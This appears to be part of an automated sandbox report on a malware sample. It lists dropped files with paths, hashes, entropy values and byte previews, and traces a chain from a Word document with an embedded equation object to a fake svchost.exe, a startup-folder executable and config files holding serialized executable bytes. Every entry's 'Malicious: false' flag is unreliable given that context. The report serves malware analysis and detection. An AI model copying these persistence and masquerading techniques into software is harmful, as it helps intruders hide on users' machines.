Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\e888z168ybTRefC409a4S5mn4_Url_ieo3rlngguenrtc44nvfkbbdpgkldbzf\6.335.788.529\s3mmksle.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2047947
Entropy (8bit):	3.124891610660528
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+x:t7xnEiqMYil6
MD5:	8688A6319B37957650EEFC989D9E4A50
SHA1:	0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
SHA-256:	1B0767B813CC5D8C8EC4E6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A
SHA-512:	48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACF0ADD01C3ACA0C506681C58F15F3A2493C113DE63EDD216EEFC63D02B126B9FFFD9670D0D50B1
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\putty.exe_Url_a432umoyl2wifeqy5t3vcvnb1e4x2jpz\6.335.788.529\hcyyqztm.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	3009211
Entropy (8bit):	3.101537480832706
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+9:t7xnEiqMYilO
MD5:	AEE69512FC253C547596763B268A4FCC
SHA1:	DA69F0854AEB81F359821DCFC869A97EBE63ACB6
SHA-256:	61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDB915B511827FC47FC74
SHA-512:	66AE0EE6FF3F5C94988863E3EC1BAB83EC4A5BE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8C5
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\putty.exe_Url_a432umoyl2wifeqy5t3vcvnb1e4x2jpz\6.335.788.529\prbqgl3p.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2047947
Entropy (8bit):	3.124891610660528
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+x:t7xnEiqMYil6
MD5:	8688A6319B37957650EEFC989D9E4A50
SHA1:	0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
SHA-256:	1B0767B813CC5D8C8EC4E6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A
SHA-512:	48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACF0ADD01C3ACA0C506681C58F15F3A2493C113DE63EDD216EEFC63D02B126B9FFFD9670D0D50B1
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\putty.exe_Url_a432umoyl2wifeqy5t3vcvnb1e4x2jpz\6.335.788.529\rc35hw5q.newcfg Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1024546
Entropy (8bit):	3.1269035822105082
Encrypted:	false
SSDEEP:	12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+u:f7xnEiqMYilB
MD5:	798E75EAFE7531DB03EE356154FA97CC
SHA1:	C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
SHA-256:	7E48B79189580C30D6F6F3F319B5D7611ED0C1E82F0E9E742752EA6F729297FC
SHA-512:	514A341F3FB8A08991D9F0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFB9B8A9AD2A2AFCD2CCDB90830A91B2DB22EE667
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0

C:\Users\user\AppData\Local\???????\qweruiuyt.exe_Url_0ngtjqfiw0jkutchz3k00nzsx4lj0kaa\6.335.788.529\1twndtlb.newcfg Download File
Process:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	3009211
Entropy (8bit):	3.101537480832706
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+9:t7xnEiqMYilO
MD5:	AEE69512FC253C547596763B268A4FCC
SHA1:	DA69F0854AEB81F359821DCFC869A97EBE63ACB6
SHA-256:	61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDB915B511827FC47FC74
SHA-512:	66AE0EE6FF3F5C94988863E3EC1BAB83EC4A5BE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8C5
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\qweruiuyt.exe_Url_0ngtjqfiw0jkutchz3k00nzsx4lj0kaa\6.335.788.529\dmfbrpnd.newcfg Download File
Process:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1024546
Entropy (8bit):	3.1269035822105082
Encrypted:	false
SSDEEP:	12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+u:f7xnEiqMYilB
MD5:	798E75EAFE7531DB03EE356154FA97CC
SHA1:	C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
SHA-256:	7E48B79189580C30D6F6F3F319B5D7611ED0C1E82F0E9E742752EA6F729297FC
SHA-512:	514A341F3FB8A08991D9F0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFB9B8A9AD2A2AFCD2CCDB90830A91B2DB22EE667
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0

C:\Users\user\AppData\Local\???????\qweruiuyt.exe_Url_0ngtjqfiw0jkutchz3k00nzsx4lj0kaa\6.335.788.529\hrwamgt1.newcfg Download File
Process:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2047947
Entropy (8bit):	3.124891610660528
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+x:t7xnEiqMYil6
MD5:	8688A6319B37957650EEFC989D9E4A50
SHA1:	0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
SHA-256:	1B0767B813CC5D8C8EC4E6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A
SHA-512:	48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACF0ADD01C3ACA0C506681C58F15F3A2493C113DE63EDD216EEFC63D02B126B9FFFD9670D0D50B1
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\svchost.exe_Url_tztrfnqkeoaulm4z0f1czqly5gz5z1e5\6.335.788.529\jegb3fhw.newcfg Download File
Process:	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1024546
Entropy (8bit):	3.1269035822105082
Encrypted:	false
SSDEEP:	12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+u:f7xnEiqMYilB
MD5:	798E75EAFE7531DB03EE356154FA97CC
SHA1:	C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
SHA-256:	7E48B79189580C30D6F6F3F319B5D7611ED0C1E82F0E9E742752EA6F729297FC
SHA-512:	514A341F3FB8A08991D9F0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFB9B8A9AD2A2AFCD2CCDB90830A91B2DB22EE667
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0

C:\Users\user\AppData\Local\???????\svchost.exe_Url_tztrfnqkeoaulm4z0f1czqly5gz5z1e5\6.335.788.529\sa5tx1w3.newcfg Download File
Process:	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2047947
Entropy (8bit):	3.124891610660528
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+x:t7xnEiqMYil6
MD5:	8688A6319B37957650EEFC989D9E4A50
SHA1:	0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
SHA-256:	1B0767B813CC5D8C8EC4E6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A
SHA-512:	48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACF0ADD01C3ACA0C506681C58F15F3A2493C113DE63EDD216EEFC63D02B126B9FFFD9670D0D50B1
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\???????\svchost.exe_Url_tztrfnqkeoaulm4z0f1czqly5gz5z1e5\6.335.788.529\xbx2gyqk.newcfg Download File
Process:	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	3009211
Entropy (8bit):	3.101537480832706
Encrypted:	false
SSDEEP:	12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUvEzGqIx+w83faMWJnB+9:t7xnEiqMYilO
MD5:	AEE69512FC253C547596763B268A4FCC
SHA1:	DA69F0854AEB81F359821DCFC869A97EBE63ACB6
SHA-256:	61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDB915B511827FC47FC74
SHA-512:	66AE0EE6FF3F5C94988863E3EC1BAB83EC4A5BE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8C5
Malicious:	false
Preview:	x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_............................." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_xED9B__xED9A__xED9D__xEDA1__xEDCD__xEDD5__xEDC2_.............................>.. <setting name="C67953dg5a6Dd0e33YasdO92Wxf9ocbrUioK" serializeAs="String">.. <value>77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{24BA44F0-30CA-4646-ACFF-79FC9E14ADCB}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C2D3EB9C-AB70-4784-8852-5C03B64EE05D}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	1.528284772159727
Encrypted:	false
SSDEEP:	12:uQwJXNLKn+lzKbSnIiAvk5uFJF/buvq2ZA:cXJ0a2bSnIiAM50//bunA
MD5:	5C8DC120A72B4D4352D26EEE71809574
SHA1:	6AA1EBDA8E2155DF73F5FEEA32EEA504D4568797
SHA-256:	642D4C87DC66881904F23552B943AF7ADD1659040C79543CE1B21F71620E8788
SHA-512:	0850BB3BCF8A50AFA0F79EDCD79319573D0DA9CC201E94A0313E419F99213F069D8E512D0F32A7A5F159315478C2D8F2D3104118F208E99792076845D7787CCB
Malicious:	false
Preview:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ._. . . . . . . . . . . . .Y.c.2.P.4.f.G.p.h.M.h.5.N.A.5.q.j.T.E.M.X.I._.S.P.T.e.Q.v.s.o.5.k.C.n.c.x.S.W.6.n.I.D.d.b.0.3.V.0.w.y.m. . . . . .5.3.7.7.8.5.3.4.6.5.3.7.7.8.5.3.4.6.=....... .E.q.u.a.t.i.o.n...3.E.M.B.E.D...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j....CJ..OJ..QJ..U..^J..aJ

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_e888z168ybTRefC4_b9b818d2ff86b34a32ed4c7ec54eba68defd6632_08edf3e1\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	11678
Entropy (8bit):	3.738332544310855
Encrypted:	false
SSDEEP:	96:XKHqKQfMlptZxtiK5QXIQcQKGc6NcEKAcw3dC0MWMz2C0MWTmBPUPZApIvY8rHvm:XK7CHLJZMz9iy8m6jitHtF
MD5:	7E838292D310DA229A3F2754095F6973
SHA1:	A1ED23F3A9CD1A67E069DC057A30F518C8979F72
SHA-256:	727F8B3433AEEF270BE67B403CEABA6B360619BCD2B8D66B7C40A3C91FC268FC
SHA-512:	22680B59B7130928904FEAF189ADE568A3D2E5255E31A58C74FC3C23ECD98C8ED94BFB888D8A8B1536F1283B3E86178F893C2283F953DA957E009A530EB62356
Malicious:	false
Preview:	V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.8.3.4.3.9.1.7.7.4.4.9.0.1.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.4.a.f.5.d.1.-.c.e.d.5.-.1.1.e.b.-.a.d.c.f.-.e.c.f.4.b.b.b.5.9.1.5.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.4.a.f.5.d.0.-.c.e.d.5.-.1.1.e.b.-.a.d.c.f.-.e.c.f.4.b.b.b.5.9.1.5.b.....W.O.W.6.4.=.1.....R.e.s.p.o.n.s.e...t.y.p.e.=.4.....S.i.g.[.0.]...N.a.m.e.=.P.r.o.b.l.e.m. .S.i.g.n.a.t.u.r.e. .0.1.....S.i.g.[.0.]...V.a.l.u.e.=.e.8.8.8.z.1.6.8.y.b.T.R.e.f.C.4.0.9.a.4.S.5.m.n.4.1.o.f.d.d.....S.i.g.[.1.]...N.a.m.e.=.P.r.o.b.l.e.m. .S.i.g.n.a.t.u.r.e. .0.2.....S.i.g.[.1.]...V.a.l.u.e.=.1...0...0...0.....S.i.g.[.2.]...N.a.m.e.=.P.r.o.b.l.e.m. .S.i.g.n.a.t.u.r.e. .0.3.....S.i.g.[.2.]...V.a.l.u.e.=.e.e.d.6.1.4.a.a.....S.i.g.[.3.]...N.a.m.e.=.P.r.o.b.l.e.m. .S.i.g.n.a.t.u.r.e. .0.4.....S.i.g.[.3.]...V.a.l.u.e.=.m.s.c.o.r.l.i.b.....S.i.g.[.4.]...N.a.m.e.=.P.r.o.b.l.e.m. .

C:\Users\user\AppData\Local\Temp\Cab4C4D.tmp Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	Microsoft Cabinet archive data, 60080 bytes, 1 file
Category:	dropped
Size (bytes):	60080
Entropy (8bit):	7.995256720209506
Encrypted:	true
SSDEEP:	768:O78wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENclXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOlhbz2E5BPNiUu+g4
MD5:	6045BACCF49E1EBA0E674945311A06E6
SHA1:	379C6234849EECEDE26FAD192C2EE59E0F0221CB
SHA-256:	65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512:	DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789ABEB
Malicious:	false
Preview:	MSCF............,...................I........d.........R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne.....{..<.......Ab.<..X....sb.....e........dbu.3...0........X..00&Z....C...p0.}..2..0m.}..Cj.9U..J.j.Y...#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.....}...f....zw.a..9+[.<0.'..2 .s..ya..J......wd....OO!.s....`.WA...F6._f....6...g..2..7.$,....X.k..&...E...g.....>uv."..!......xc......C..?....P0$.Y..?u....Z0.g3.>W0&.y.(....].`>... ..R.q..wgX......qB!.B....Z.4..>.R.M..0.8...=.8..Ya.s.......add..)..w.4.&.z...2.&74.5]..w.j.._iK..\|\|[.w.M.!<-.}%.C<tDX5\s._..I....nb.....GCQ.V..r..Y.............q...0..V)Tu>.Z..r...I...<.R{Ac..x^. .<A........\|.{.....Q...&....X..C$....e9.:..vI..x.R4...L......%g...<..}'{....E8Sl...E".h...*.........ItVs.K......3.9.l..`D..e.i`....y...,..5....aSs`..W...d...t.J..]....'u3..d]7..=e....[R!:........Q.%..@........ga.v.~..q....{.!N.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1\|.._F.

C:\Users\user\AppData\Local\Temp\Tar4C4E.tmp Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	data
Category:	dropped
Size (bytes):	156885
Entropy (8bit):	6.30972017530066
Encrypted:	false
SSDEEP:	1536:NlR6c79JjgCyrYBWsWimp4Ydm6Caku2SWsz0OD8reJgMnl3XlMuGmO:N2UJcCyZfdmoku2SL3kMnBGuzO
MD5:	9BE376D85B319264740EF583F548B72A
SHA1:	6C6416CBC51AAC89A21A529695A8FCD3AD5E6B85
SHA-256:	07FDF8BC502E6BB4CF6AE214694F45C54A53228FC2002B2F17C9A2EF64EB76F6
SHA-512:	8AFC5D0D046E8B410EC1D29E2E16FB00CD92F8822D678AA0EE2A57098E05F2A0E165858347F035AE593B62BF195802CB6F9A5F92670041E1828669987CEEC7DE
Malicious:	false
Preview:	0..d....H.........d.0..d....1.0...`.H.e......0..T...+.....7.....T.0..T.0...+.....7........L.Eu...210519191503Z0...+......0..T.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%....S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe Download File
Process:	C:\Users\user\AppData\Roaming\putty.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	144168
Entropy (8bit):	5.669635797936692
Encrypted:	false
SSDEEP:	1536:Xyw+Fl90LoD0ZCAz15f22kDM7bOjaH4ZinJ0iQjx:XyhFDhD0gOqQQjx
MD5:	F72277EEBAF6B7E2891B7BA24188EBDA
SHA1:	4E50012A8102409F570EE4B36785D7BAA5DCA364
SHA-256:	9B907AE3D2D9F776C068A4B2371D1BFC04E0ED359FC68B8863660301C5A644B9
